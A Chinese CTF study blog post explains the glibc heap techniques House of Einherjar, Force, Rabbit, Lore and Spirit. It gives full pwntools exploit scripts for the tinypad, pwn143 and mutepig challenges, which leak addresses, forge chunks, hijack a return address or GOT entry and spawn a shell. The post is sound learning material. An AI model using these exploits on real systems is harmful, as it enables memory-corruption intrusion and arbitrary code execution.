PWN|House Of 系列(持续更新)

在学习了unlink、chunk extend、各种bin attack等基础攻击技术后,开始进入House Of系列的学习。

House Of Einherjar

借鉴文章:

House Of Einherjar – CTF Wiki

2016 Seccon tinypad-CSDN博客

House of Einherjar,原理是通过伪造一个chunk(记为chunk0)的prevsize和prev inuse位,然后将其free掉,在free时检测到prev inuse为0就会触发向前合并,合并前会先判断前面偏移为presize大小的地方是否有正确的chunk(记为fake chunk)fake chunk的size大小要跟chunk0的prevsize一致,然后对fake chunk执行unlink操作脱链,所以伪造fake chunk还得绕过脱链检测。如果伪造的fake chunk成功绕过检测,fake chunk和chunk0以及中间夹着所有内存区域就都会合并成一个chunk然后放进unsorted bin里面,这时候再申请就能返回fake chunk位置的chunk,实现了任意地址写。

fakechunk的构造模板:

payload = p64(0) + p64(size) + p64(fakechunk_addr) * 2

更具体的原理可以参考House Of Einherjar – CTF Wiki,讲的比我好很多。

例题 2016 Seccon tinypad

例题资源:ctf-challenges/pwn/heap/house-of-einherjar/2016_seccon_tinypad at master · ctf-wiki/ctf-challenges · GitHub

有add,edit,delete。只能add四个,用户自定义size和content,tinypad+256处开始存放结构体,一个结构体有两成员(两个八字节),第一个八字节存放堆的size,第二个八字节存放content的chunk地址,chunk大小是malloc(size)。如图:

那么tinypad前面256个字节是干什么的呢?edit函数会用到。本题edit有点特殊,不是直接往content chunk里面写,而是先往tinypad前256字节里面写,然后用strcpy复制到content chunk里,存在off by null漏洞。

delete函数先把content chunk指针free掉,然后把前面的size清零,所以有UAF。

所以有UAF和off by null,并且程序会在每一步结束后把chunk内容打印出来。思路是,通过UAF来泄露libc基址和堆地址,然后打house of einherjar,控制堆指针为malloc_hook或者free_hook,最后edit写入one_gadget。

泄露:

注意在泄露堆地址时候得先free2再free1,因为chunk1的堆地址也就是堆的基地址,通常以\x00结尾,如果泄露的是chunk1地址的话会因为\x00截断导致什么都没有。

create(0x40,b'a'*0x40) #chunk1
create(0x40,b'b'*0x40) #chunk2
create(0x80,b'c'*0x80) #chunk3
create(0xf0,b'd'*0xf0) #chunk4

#unsorted bin leak and get libc_base
free(3)
io.recvuntil("#   INDEX: 3\n")
io.recvuntil("# CONTENT: ")
unsortedbin_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(unsortedbin_addr))
main_arena = unsortedbin_addr - 88
libc_base = main_arena - 0x3C3B20
print(hex(libc_base))

#fast bin leak and get heap_base
free(2)
free(1)
io.recvuntil("#   INDEX: 1\n")
io.recvuntil("# CONTENT: ")
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))
print(hex(heap_addr))
#gdb.attach(io)
heap_base = heap_addr - 0x50
print(hex(heap_base))

然后就是house of einherjar:

#house of einherjar
#fakechunk选在tinypad+0x20的地方,因为最大输入是256B,得+0x20才能控制到chunk1的指针。
fakerchunk = b'a'*0x20 + p64(0) + p64(0x101) + p64(heap_arr+0x20) + p64(heap_arr+0x20)

#计算偏移
offset = heap_base - heap_arr

#上面的步骤把1、2、3都free了,现在把4也free了,重新申请四个再开始下一步。
free(4)
create(0x18,b'a'*0x18)
create(0xf0,b'b'*0xf0)
create(0x100,b'c'*0xf8)
create(0x100,b'd'*0x100)


#由于edit函数的特殊,会把其他冗余字符也复制过来,所以在修改chunk2的prevsize和prev inuse时把高位清零,确保presize没有别的内容,
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
    edit(1,b'a'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))


#利用chunk2来在tinypad+0x20处构造fakechunk,释放后检测到prev inuse位为0,然后往前面offset偏移的地方找,找到了fakechunk,成功通过检测,之后unlink fakechunk,合并fakechunk->chunk2,一起扔到unsorted bin里面去
edit(2,fakerchunk)
free(2)

通过上面的步骤,就成功把fakechunk->chunk2扔到unsorted bin里面去了:

接下来就是getshell,但是到这有个难题:因为程序是利用 strlen 来判读可以读取多少长度,而 malloc_hook 则在初始时为 0,所以无法往里面写入one gadget。这里用一个我之前闻所未闻的方法:利用__environ。

原理:__environ结构的第一个八字节记录了一个地址,该地址离main函数的ret是固定的8*30,通过__environ来泄露栈地址,计算ret地址,然后覆盖chunk1指针为ret地址,往chunk1,即ret写入one_gadget,最后退出即可getshell:

#getshell
#计算environ_addr
environ_addr = libc_base + libc.symbols['__environ']
print(hex(environ_addr))
#gdb.attach(io)

#修改fakechunk的fd和bk为unsortedbin_addr,确保能成功分配。
payload3 = b'a'*0x20 + p64(0) + p64(0x101) + p64(unsortedbin_addr) + p64(unsortedbin_addr)
edit(3,payload3)
#gdb.attach(io)

#覆盖chunk1指针为environ_addr,然后add结束后程序自动打印chunk1内容,泄露environ的值。
#0xf0和0x602148是覆盖存储chunk2结构体的size成员和chunk2指针成员的,也就是chunk2指针被指向了0x602148,即存chunk1指针的地方。

payload4 = b'a'*0xd0 + p64(0x18) + p64(environ_addr) + p64(0xf0) + p64(0x602148)
create(0xf0,payload4)
io.recvuntil("#   INDEX: 1\n")
io.recvuntil("# CONTENT: ")
stack_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
main_ret = stack_addr - 8*30


#计算one_gadget
one_gadget = p64(libc_base + 0x4525a)


#覆盖chunk1指针为main_ret
edit(2,p64(main_ret))

#修改main_ret为one_gadget
edit(1,one_gadget)

#退出程序,触发one_gadget
io.sendline(b'Q')

io.interactive()

完整exp:

from pwn import *

context.log_level = 'info'

io = process("/home/monke/PWN/house of enherjar/tinypad")
elf = ELF("/home/monke/PWN/house of enherjar/tinypad")
libc = ELF("//home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
heap_arr = 0x602040

def create(size,content):
    io.recvuntil("(CMD)>>> ")
    io.sendline(b'A')
    io.recvuntil("(SIZE)>>> ")
    io.sendline(str(size))
    io.recvuntil("(CONTENT)>>> ")
    io.sendline(content)
def free(index):
    io.recvuntil("(CMD)>>> ")
    io.sendline(b'D')
    io.recvuntil("(INDEX)>>> ")
    io.sendline(str(index))
def edit(index,content):
    io.recvuntil("(CMD)>>> ")
    io.sendline(b'E')
    io.recvuntil("(INDEX)>>> ")
    io.sendline(str(index))
    io.recvuntil("(CONTENT)>>> ")
    io.sendline(content)
    io.recvuntil("(Y/n)>>> ")
    io.sendline(b'Y')

create(0x40,b'a'*0x40) #chunk1
create(0x40,b'b'*0x40) #chunk2
create(0x80,b'c'*0x80) #chunk3
create(0xf0,b'd'*0xf0) #chunk4

#unsorted bin leak and get libc_base
free(3)
io.recvuntil("#   INDEX: 3\n")
io.recvuntil("# CONTENT: ")
unsortedbin_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(unsortedbin_addr))
main_arena = unsortedbin_addr - 88
libc_base = main_arena - 0x3C3B20
print(hex(libc_base))

#fast bin leak and get heap_base
free(2)
free(1)
io.recvuntil("#   INDEX: 1\n")
io.recvuntil("# CONTENT: ")
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))
print(hex(heap_addr))
#gdb.attach(io)
heap_base = heap_addr - 0x50
print(hex(heap_base))


#house of enherjar
fakerchunk = b'a'*0x20 + p64(0) + p64(0x101) + p64(heap_arr+0x20) + p64(heap_arr+0x20)

offset = heap_base - heap_arr

free(4)
create(0x18,b'a'*0x18)
create(0xf0,b'b'*0xf0)
create(0x100,b'c'*0xf8)
create(0x100,b'd'*0x100)


#在修改chunk2的prevsize和prev inuse时把高位清零,确保presize没有别的内容,
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
    edit(1,b'a'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))


#利用chunk2来在tinypad+0x20处构造fakechunk,释放后检测到prev inuse位为0,然后往前面offset偏移的地方找,找到了fakechunk,成功通过检测,之后unlink fakechunk,合并fakechunk->chunk2,一起扔到unsorted bin里面去
edit(2,fakerchunk)
free(2)

#gdb.attach(io)

#getshell
#计算environ_addr
environ_addr = libc_base + libc.symbols['__environ']
print(hex(environ_addr))
#gdb.attach(io)

#修改fakechunk的fd和bk为unsortedbin_addr,确保能成功分配。
payload3 = b'a'*0x20 + p64(0) + p64(0x101) + p64(unsortedbin_addr) + p64(unsortedbin_addr)
edit(3,payload3)
#gdb.attach(io)

#覆盖chunk1指针为environ_addr,然后add结束后程序自动打印chunk1内容,泄露environ的值。
#0xf0和0x602148是覆盖存储chunk2结构体的size成员和chunk2指针成员的,也就是chunk2指针被指向了0x602148,即存chunk1指针的地方。

payload4 = b'a'*0xd0 + p64(0x18) + p64(environ_addr) + p64(0xf0) + p64(0x602148)
create(0xf0,payload4)
io.recvuntil("#   INDEX: 1\n")
io.recvuntil("# CONTENT: ")
stack_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
main_ret = stack_addr - 8*30


#计算one_gadget
one_gadget = p64(libc_base + 0x4525a)


#覆盖chunk1指针为main_ret
edit(2,p64(main_ret))

#修改main_ret为one_gadget
edit(1,one_gadget)

#退出程序,触发one_gadget
io.sendline(b'Q')

io.interactive()

House of Force

原理摘自ctf wiki:

House Of Force – CTF Wiki

我的理解是,每当malloc时,如果bins里面没有合适的chunk分配,就会从top chunk中割一块出来,top chunk的地址也会相应移动,那如果malloc了一个负值呢?top chunk就会往低地址移动,如果这个负值是可以随意分配的,也就意味着top chunk的地址能改到任意地方,这时候再申请chunk,就能达到任意地址写的效果

例题 ctfshow pwn入门 pwn143

题目一开始就自创了一个”bye_message” chunk,这个chunk的内容是个函数地址,在程序结束时候会用来打印goodbye这个字符串。

edit能溢出

delete无uaf漏洞

有后门函数

所以思路就是,先申请一个0x30的chunk,然后edit它,溢出修改top chunk的size位为-1,(这样就能逃过检查申请一个负值的chunk),接着申请一个特定负值的chunk,使得top chunk的地址移动到bye_message这个chunk处,申请一个chunk,修改bye_message chunk的指针指向后门函数,然后退出程序就能调用后门函数:

#申请第一个chunk,这个chunk和top:

add(0x30, b'aaaa')

#修改top chunk的size位为-1

payload = 0x30 * b'a'

payload += b'a' * 8 + p64(0xffffffffffffffff)

edit(0, 0x41, payload)

#计算top chunk应该移动的大小,这里不是很理解,按理来说-0x60就够了,但后面还要减去一个值,这个值经过测试,在0x8-0x17之间都可以

offset = -0x60-0x17

add(offset, b'aaaa')

#再申请一个chunk,拿到message chunk的内存,修改指针即可

add(0x10, p64(flag) * 2)

get_flag()

io.interactive()

完整exp:

from pwn import *
context.log_level = "debug"

io = remote('pwn.challenge.ctf.show',28182)
#io= process("pwn")
elf = ELF('pwn')
def add(length,name):
  io.recvuntil("choice:")
  io.sendline('2')
  io.recvuntil(':')
  io.sendline(str(length))
  io.recvuntil(":")
  io.sendline(name)
def edit(idx,length,name):
  io.recvuntil("choice:")
  io.sendline('3')
  io.recvuntil(":")
  io.sendline(str(idx))
  io.recvuntil(":")
  io.sendline(str(length))
  io.recvuntil(':')
  io.sendline(name)

def delete(idx):
  io.revcuntil("choice:")
  io.sendline("4")
  io.recvuntil(":")
  io.sendline(str(idx))

def show():
  io.recvuntil("choice:")
  io.sendline("1")

flag = elf.sym['fffffffffffffffffffffffffffffffffflag']
#申请第一个chunk,这个chunk和top:

add(0x30, b'aaaa')

#修改top chunk的size位为-1

payload = 0x30 * b'a'

payload += b'a' * 8 + p64(0xffffffffffffffff)

edit(0, 0x41, payload)

#计算top chunk应该移动的大小,这里不是很理解,按理来说-0x60就够了,但后面还要减去一个值,这个值经过测试,在0x8-0x17之间都可以

offset = -0x60-0x17

add(offset, b'aaaa')

#再申请一个chunk,拿到message chunk的内存,修改指针即可

add(0x10, p64(flag) * 2)


io.recvuntil("choice:")
io.sendline("5")

io.interactive()

House of Rabbit

参考ctf wiki:House of Rabbit – CTF Wiki

堆利用详解:the house of rabbit(超详细) – 吾爱破解 – 52pojie.cn

前置知识:

malloc_consolidate函数:heap – 11 – malloc_consolidate 源码及其部分分析 | Kiprey’s Blog

malloc_consolidate触发情景:堆漏洞挖掘中的malloc_consolidate与FASTBIN_CONSOLIDATION_THRESHOLD_consolidate函数-CSDN博客

malloc_consolidate_malloc consolidate-CSDN博客

本漏洞核心在于malloc_consolidate函数,触发这个函数时,会把每一个fast bin里面的chunk尝试向前向后合并,然后丢到unsorted bin中。

利用步骤如下:

1.存在一个fast bin里面的chunk0

2.修改该chunk0的fd指针,指向一个精心伪造的fakechunk(能绕过下一步的检测不触发合并)

3.触发malloc_consolidate函数,fakechunk就会被放到unsorted bin中

4.再申请一个大于0xffff的块,就会把fakechunk放到large bin中(需要通过检测),然后再次修改fakechunk的大小为一个非常大的值,这个时候再malloc合适的大小,就能切割得到想要地址的chunk,相当于实现了任意地址写。

一个小问题,为什么不直接在unsorted bin里面切割来任意地址写?我的理解是:因为unsorted bin切割仅限于small bin范围内,超过small bin范围且大小不是刚好命中的chunk不会切割,而是会直接放到large bin里面,所以得进large bin切割才能达到大范围的地址写。

可以结合CTFSHOW的demo来看:House Of Rabbit原理与例题 – 先知社区

例题:hitbctf2018_mutepig

参考文章:(*´∇`*) 天亮啦~ House_of_Rabbit学习 | A1ex’s Blog

堆利用详解:the house of rabbit(超详细) – 吾爱破解 – 52pojie.cn

有add,delete、edit、system,没有show。之前没有show的情况都是考虑通过IO_FILE来泄露,这次用house of rabbit打。

add函数,可以申请四种大小的chunk,其中最大的一种只有一次机会,chunk指针会被存储在ptr变量中:

delete函数,把对应指针给free掉,但是没有置空,可尝试UAF或者double free:

edit函数,两个read_end0(自己修改命名的),会在字符串后面自动添加\0,第一个read_end0可以修改对应chunk的前八个字节,第二个read_end0可以修改bss段的部分区域,可以用来伪造fakechunk:

所以利用house of rabbit的思路就是:

1.add两个0xa00000大小的chunk0、chunk1并轮流释放,这一步操作是为了扩大top chunk。

2.add一个fast bin大小的chunk2,一个small bin大小的chunk3。

3.把chunk2释放掉,修改chunk2的fd指针(也就是刚好能改到的前八字节),指向fakechunk位置,同时在fakechunk位置伪造chunk。

4.再释放chunk3,chunk3和top chunk合并,触发malloc consolidation,chunk2也被合并入top chunk,但是fake chunk由于精心构造,会绕过检测,单独进入unsorted bin。

5.修改fake chunk的size,使其能通过下一步的检测

6.再申请一个0xA00000的chunk,fake chunk就会进入large bin之中。

7.修改fakechunk的大小为一个特定的值,这个值与下一步申请大小的值的差就是想要地址的偏移

8. 申请0xFFFFFFFFFFFFFF70(因为题目中只能申请这个), 此时unsorted bin就会指向目标地址,就可以申请到一个可以修改ptr指针数组的chunk。

9.修改chunk0的指针为got表中free的地址

10.修改free为system函数,顺便输入/bin/sh(不用补0,因为read_end0有这个功能)

11.free掉/bin/sh的位置的chunk,即调用了system(/bin/sh),拿到shell

其中,fakechunk的“精心构造”和修改fakechunk的特定的值应该怎么算,参考:

堆利用详解:the house of rabbit(超详细) – 吾爱破解 – 52pojie.cn

完整exp:

from pwn import *
context.update(arch='amd64',os='linux',log_level = 'debug')

p= process('/home/monke/PWN/hous_ of_rabbit/mutepig')
elf = ELF('/home/monke/PWN/hous_ of_rabbit/mutepig')
libc = ELF('/home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')


def add(type,content):
	p.sendline('1')
	p.sendline(str(type))
	p.send(content)
	
	
def free(index):
	p.sendline('2')
	p.sendline(str(index))

def edit(index,content1,content2):
	p.sendline('3')
	p.sendline(str(index))
	p.send(content1)
	p.send(content2)
	
ptr = 0x06020C0
bss= 0x602120
#1.add两个0xa00000大小的chunk0、chunk1并轮流释放,这一步操作是为了扩大top chunk
add(3,'0') #0
free(0)
add(3,'1') #1
free(1)

#2.add一个fast bin大小的chunk2,一个small bin大小的chunk3。
add(1,'2') #2
add(2,'3') #3

#3.把chunk2释放掉,修改chunk2的fd指针(也就是刚好能改到的前八字节),指向fakechunk位置,同时在fakechunk位置伪造chunk
free(2)
edit(2,p64(bss+0x10)[:-1],p64(0)+p64(0x11)+p64(0)+p64(0xfffffffffffffff1))

#4.再释放chunk3,chunk3和top chunk合并,触发malloc consolidation,chunk2也被合并入top chunk,但是fake chunk由于精心构造,会绕过检测,单独进入unsorted bin。
free(3)

#5.修改fake chunk的size,使其能通过下一步的检测
edit(2,b'aaaa',p64(0)+p64(0x11)+p64(0)+p64(0xA00001))

#6.再申请一个0xA00000的chunk,fake chunk就会进入large bin之中。
add(3,'4') #4

#7.修改fakechunk的大小,使其为0xfffffffffffffff0
edit(2,b'aaaa',p64(0xfffffffffffffff0)+p64(0x10)+p64(0)+p64(0xfffffffffffffff1))

#8. 申请0xFFFFFFFFFFFFFF70(因为题目中只能申请这个),  此时unsorted bin就会指向目标地址,就可以申请到一个可以修改ptr指针数组的chunk。
add(13337,'5') #5

#9.修改chunk0的指针为got表中free的地址
add(1,p64(elf.got['free'])[:-1])

#10.修改free为system函数,顺便输入/bin/sh(不用补0,因为read_end0有这个功能)
edit(0,p64(elf.symbols['system'])[:-1],'aaaa')

#11.free掉/bin/sh的位置的chunk,即调用了system(/bin/sh),拿到shell
edit(6,'/bin/sh','aaaa')
free(6)


p.interactive()

House of Lore

参考ctfwiki:House of Lore – CTF Wiki

原理:small bin上伪造fake chunk并申请到该位置的chunk

步骤:

1.在small bin上有一个chunk0,并且有改写该chunk的bk指针的能力

2.修改chunk0的bk指针,指向目标地址

3.目标地址有伪造好的fake chunk1,该fake chunk1的fd指向chunk0,bk指向fake chunk2,fake chunk2的fd指向fake chunk1

4.由于small bin是FIFO(先入先出)算法,申请第二次就能拿到fake chunk1地址的chunk了

(我之前还有点疑惑这种技术有什么用,因为既然都能在目标位置伪造fakechunk了,也就意味着有写的能力,为什么还要多此一举?后来想想,如果是只能够写伪造fakechunk的那几个字节,通过这种方法可以申请到该位置很大的chunk,也就扩大了写的范围;或者是可能跟其他技术打配合。这种攻击方法实现的效果肯定就不如house of rabbit这种能任意地址写的牛逼)

demo可以参考:House of Lore_堆house of lore-CSDN博客

House of Spirit

在讲House of Spirit之前,先抛出一个问题:之前的攻击利用,free掉的都是程序malloc产生的合法chunk,问题来了,free函数能不能free掉一个完全伪造出来的chunk?

这就是House of Spirit的精髓:free掉一个完全伪造出来的chunk,然后申请它,使其变为合法chunk,再进一步利用。

例题:2014 hack.lu oreo

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇